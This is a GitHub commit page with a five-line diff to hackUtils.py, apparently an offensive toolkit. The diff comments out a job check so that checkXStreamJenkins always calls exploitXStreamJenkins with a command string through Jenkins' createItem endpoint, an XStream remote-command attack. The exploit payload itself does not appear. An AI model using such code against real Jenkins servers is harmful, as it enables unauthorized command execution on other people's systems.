Skip to content

Commit 7c9530a

Browse files
committed
Update hackUtils.py
1 parent c894812 commit 7c9530a

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

hackUtils.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -639,12 +639,12 @@ def checkXStreamJenkins(ip, cmdstr):
639639
result = requests.get(url,timeout=10).content
640640
job = getJobFromJenkins(result)
641641
ver = getJenkinsVersion(result)
642-
if job:
642+
#if job:
643643
#job_url = url + job + "config.xml"
644-
job_url = url + "createItem?name=hackUtils"
645-
exploitXStreamJenkins(job_url, cmdstr, ver)
646-
else:
647-
print '[!] no job found! url: '+url
644+
job_url = url + "createItem?name=hackUtils"
645+
exploitXStreamJenkins(job_url, cmdstr, ver)
646+
#else:
647+
# print '[!] no job found! url: '+url
648648
except Exception,e:
649649
print '[!] connection failed! url: '+url
650650
else:

0 commit comments

Comments
 (0)